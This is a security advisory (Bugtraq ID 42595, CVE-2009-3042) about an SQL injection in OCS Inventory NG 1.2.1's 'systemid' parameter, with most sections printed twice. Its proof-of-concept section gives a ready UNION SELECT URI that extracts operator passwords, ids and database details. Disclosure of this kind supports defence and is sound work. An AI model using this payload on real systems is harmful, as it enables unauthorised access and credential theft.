OCS Inventory NG 'systemid' Parameter SQL Injection Vulnerability
BID:42595
Info
OCS Inventory NG 'systemid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 42595 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-3042 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 11 2009 12:00AM |
| Updated: | Mar 19 2015 08:39AM |
| Credit: | Guilherme Marinheiro |
| Vulnerable: |
OCS Inventory Team OCS Inventory NG Server 1.2.1 |
| Not Vulnerable: | |
Discussion
OCS Inventory NG 'systemid' Parameter SQL Injection Vulnerability
OCS Inventory NG is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
OCS Inventory NG 1.2.1 is vulnerable; prior versions may also be affected.
OCS Inventory NG is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
OCS Inventory NG 1.2.1 is vulnerable; prior versions may also be affected.
Exploit / POC
OCS Inventory NG 'systemid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/ocsreports/machine.php?systemid=1)%20union%20select%201,2,user(),3,5,6,7,8,9,10,11,12,passwd,14,15,16,17,18,id,20,21,22,23,24,25,26,27,27,version()%20from%20operators%20--
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/ocsreports/machine.php?systemid=1)%20union%20select%201,2,user(),3,5,6,7,8,9,10,11,12,passwd,14,15,16,17,18,id,20,21,22,23,24,25,26,27,27,version()%20from%20operators%20--
Solution / Fix
OCS Inventory NG 'systemid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
OCS Inventory NG 'systemid' Parameter SQL Injection Vulnerability
References:
References:
- OCS Inventory NG - Homepage (OCS Inventory Team)
- Sql injection in OCS Inventory NG Server 1.2.1 Aug 11 2009 06:05PM (Guilherme Marinheiro)
- Bug 517837 - (CVE-2009-3042) OCS Inventory NG: SQL injection in machine blacklis (Jan Lieskovsky)